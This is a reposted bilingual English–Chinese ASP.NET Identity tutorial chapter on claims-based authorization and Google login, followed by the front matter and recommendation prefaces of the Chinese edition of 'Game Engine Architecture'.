ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-28 08:49:21
285
转载
转载文章
...构》同时涵盖游戏引擎软件开发的理论及实践,并对多方面的题目进行探讨。本书讨论到的概念及技巧实际应用于现实中的游戏工作室,如艺电及顽皮狗。虽然书中采用的例子通常依据一些专门的技术,但是讨论范围远超于某个引擎或API。文中的参考及引用也非常有用,可让读者继续深入游戏开发过程的任何特定方向。 《游戏引擎架构》为一个大学程度的游戏编程课程而编写,但也适合软件工程师、业余爱好者、自学游戏程序员,以及游戏产业的从业人员。通过阅读《游戏引擎架构》,资历较浅的游戏工程师可以巩固他们所学的游戏技术及引擎架构的知识,专注某一领域的资深程序员也能从本书更为全面的介绍中获益。 內容包括: 游戏开发中的大规模C++软件架构 游戏编程所需的数学 供调试、源代码控制及性能剖析的游戏开发工具 引擎基础系统、渲染、碰撞、物理、角色动画、游戏世界对象模型等引擎子系统 多平台游戏引擎 多处理器环境下的游戏编程 工作管道及游戏资产数据库 作者/译者简介 作者介绍:Jason Gregory在1994年开始任职专业软件工程师,自1999年3月开始在游戏产业中任职软件工程师。在圣迭哥Midway Home Entertainment公司开始游戏编程的他,为《疯狂飞行员(Freaky Flyers)》及《Crank the Weasel》开发PlayStation 2/Xbox上的动画系统。在2003年,他转到洛杉矶艺电,为《荣誉勋章:血战太平洋(Medal of Honor: Pacific Assault)》开发游戏引擎及游戏性技术,并在《荣誉勋章:空降神兵(Medal of Honor: Airborne)》中担任首席工程师。他现时是顽皮狗公司的通才程序员,为《神秘海域:德雷克船长的宝藏(Uncharted: Drake's Fortune)》及《神秘海域:纵横四海(Uncharted: Among Thieves)》开发引擎及游戏性软件。他也在南加州大学教授游戏技术的课程。 译者简介:叶劲峰(Milo Yip)从小自习编程,并爱好计算机图形学。上中学时兼职开发策略RPG《王子传奇》,该游戏在1995年于台湾发行。其后他获取了香港大学认知科学学士、香港中文大学系统工程及工程管理哲学硕士。毕业后在香港理工大学设计学院从事游戏引擎及相关技术的研发,职至项目主任。除发表学术文章外,也曾合著《DirectX9游戏编程实务》。2008年往上海育碧担任引擎工程师开发《美食从天而降(Cloudy with a Chance of Meatballs)》Xbox360/PS3/Wii/PC,2009年起于麻辣马开发《爱丽丝:疯狂回归(Alice: Madness Returns)》Xbox360/PS3/PC,2011年加入腾讯互动娱乐引擎技术中心担任专家工程师,所研发的技术已用于《斗战神》、《天涯明月刀》、《众神争霸》等项目中。 推荐序1 最初拿到《Game Engine Architecture》一书的英文版,是编辑侠少邮寄给我的打印版。他建议我接下翻译此书的合同。当时我正在杭州带领一个团队开发3D游戏引擎,我和我的同事都对这本书的内容颇有兴趣,两大本打印的英文书立刻在同事间传开。可惜那段时间个人精力顾及不来,把近千页的英文读物精读而后翻译成中文对个人的业余时间是个极大的挑战,不能担此翻译任务颇为遗憾。 不久以后听说Milo Yip(叶劲峰)已开始着手翻译,甚为欣喜。翻译此巨著,他一定是比我更合适的人选。我和Milo虽未曾蒙面,但神交已久。在网络上读过一些他的成长经历,和我颇为相似,心有戚戚。他对游戏3D实时渲染技术研究精深为我所不及,我们曾通过Google Talk讨论过许多技术问题,他都有独到的见解。翻译工作开始后,Milo是香港人,英文技术术语在香港的中文译法和大陆的有许多不同。但此书由大陆出版社出版,考虑到面对的读者主要是大陆程序员,Milo希望能更符合大陆程序员的用词习惯,所以在翻译一开始就通过Google Docs创建了协作页面,邀请大家共同探讨书中技术名词的中译名。从中我们可以一窥他作为译者的慎重。 三年之后,有幸在出版之前就拿到了完整的译本。这是一本用LaTeX精心排版的800页的电子书,我只花了一周时间,几乎是一口气读完。流畅的阅读享受,绝对不仅仅是因为原著精彩的内容,精美的版面和翔实的译注也加了不少分。 在阅读本书的过程中,我不只一次地获得共鸣。例如在第5章的内存管理系统的介绍中,作者介绍的几种游戏特有的内存管理方法我都曾在项目中用过,而这是第一次有书籍专门将这些方法详尽记录;又如第11章动画系统的介绍,我们也同样在3D引擎开发过程中改进原有动画片段混合方法的经历。虽然书中介绍的每个技术点,都可能可以在某篇论文,某本其他的书的章节,某篇网络blog上见过,但之前却无一本书可以把这些东西放在一起相互参照。对于从事游戏引擎开发的程序员来说,了解各种引擎在处理每个具体问题时的方案是相当重要的。而每种方案又各有利弊,即使不做引擎开发工作而是在某一特定游戏引擎上做游戏开发,从中也可以理解引擎的局限性以及可能的改进方法。尤其是第14章介绍的对游戏性相关系统的设计,各个开发人员几乎都是凭经验设计,很少见有书籍对这些做总结。对于基于渲染引擎做开发的游戏程序员,这是必须面对的工作,这一章会有很大的借鉴意义。 本书作者是业内资深的游戏引擎开发人,他所参于的《神秘海域》和《最后生还者》都是我的个人最爱。在玩游戏的过程中,作为游戏程序员的天性,自然会不断地猜想各个技术点是如何实现的,背后需要怎样的工具支持。能在书中一一得到印证是件特别开心的事情。作者反复强调代码实践的重要性,在书中遍布着C++代码。我不认为这些代码有直接取来使用的价值,但它们极大地帮助了读者理解书中的技术点。书中列出的顽皮狗工作室用lisp方言作为游戏配置脚本的范例也给我很大的启发,有了这些具体的代码示例以及作者本身的一线工程师背景,也让我确信书中那些关于主机游戏开发相关等,我所没有接触过的内容都也绝非泛泛而谈。 国内的游戏开发社区的壮大,主要是随最近十年的MMO风潮而生。而就在大型网络游戏在中国有些畸形发展,让这类游戏偏离电子游戏游戏性的趋势时,我们有幸迎来了为移动设备开发游戏的大潮。游戏开发的重心重新回到游戏性本身。我们更需要去借鉴单机游戏是如何为玩家带来更纯粹的游戏体验,我相信书中记录的各种技术点会变的更有帮助。 资深游戏开发及创业者 云风 @简悦云风 推荐序2 在我认识的许多游戏业开发同仁中,只有少数香港同胞,Milo Yip(叶劲峰)却正是这样一位给我印象非常深刻的优秀香港游戏开发者。我俩认识,是在Milo加入腾讯互动娱乐研发部引擎技术中心后,说来到现在也只是两年多时间。其间,他为人的谦逊务实,对待技术问题的严谨求真态度,对算法设计和性能优化的娴熟技术,都为人所称道。Milo一丝不苟的工作风格,甚至表现在对待技术文档排版这类事情上(Milo常执著地用LaTeX将技术文档排到完美),我想这一定是他在香港读大学、硕士及在香港理工大学的多媒体创新中心从事研究员,一贯沿袭至今的好作风。 我很高兴腾讯游戏有实力吸引到这样优秀的技术专家;即使在其已从上海迁回香港家中,依然选择到深圳腾讯互动娱乐总部工作。叶兄从此工作日每天早晚过关,来往香港和深圳两地,虽有舟车劳顿,但是兼顾了对家庭的照顾和在游戏引擎方面的专业研究,希望这样的状况是令他满意的。 认识叶兄当时,我便知道他在进行Jason Gregory所著《游戏引擎架构》一书的中译工作。因为自己从前也有业余翻译游戏开发有关书籍的经历,所以我能理解其中的辛苦和责任重大,对叶兄也更多一分钦佩。我以为,本书以及本书的中文读者最大的幸运便是,遇到叶兄这位对游戏有着如同对家对国般强烈责任感,犹如“游戏科学工作者”般的专业译者! 现在(2013年年末)无疑是游戏史上对独立游戏制作者最友好的年代。开发设备方便获得(相对过往仅由主机厂商授权才能获得专利开发设备,现在有一台智能手机和一台个人电脑就可以开发)、技术工具友好、调试过程简单方便,且互联网上有丰富的例程和开源代码参考,也有网上社区便于交流。很多爱好者能够很快地制作出可运行的游戏原型,其中一些也能发布到应用商店。 但是不全面掌握各方面知识,尤其是游戏引擎架构知识,往往只能停留在勉强修改、凑合重用别人提供的资源的应用程度上,难以做极限的性能改进,更妄谈革命式的架构创新。这样的程度是很难在成千上万的游戏中脱颖而出的。我们所认可的真正的游戏大作,必定是在某方面大幅超越用户期待的产品。为了打造这样的产品,游戏内容创作者(策划、美术等)需要“戴着镣铐跳舞”(在当前的机能下争取更多的创作自由度),而引擎架构合理的游戏可以经得起──也值得进行──反复优化,最终可以提供更多的自由度,这是大作出现的技术前提。 书的作者、译者、出版社的编者,加上读者,大家是因书而结缘的有缘人。因叶兄这本《游戏引擎架构》译著而在线上线下相识的读者们,你们是不是因“了解游戏引擎架构,从而制作/优化好游戏”这样的理想而结了缘呢? 亲爱的读者,愿你的游戏有一天因谜题巧妙绝伦、趣味超凡、虚拟世界气势磅礴、视觉效果逼真精美等专业因素取得业界褒奖,并得到玩家真诚的赞美。希望届时曾读叶兄这本《游戏引擎架构》译作的你,也可以回馈社会,回馈游戏开发的学习社区,帮助新人。希望你也可以建立微信公众号、博客等,或翻译游戏开发书籍,造福外语不好的读者,所以如果你的外语(英语、日语、韩语之于游戏行业比较重要)水平仍需精进,现在也可以同步加油了! 腾讯《天天爱消除》游戏团队Leader 沙鹰 @也是沙鹰 译序 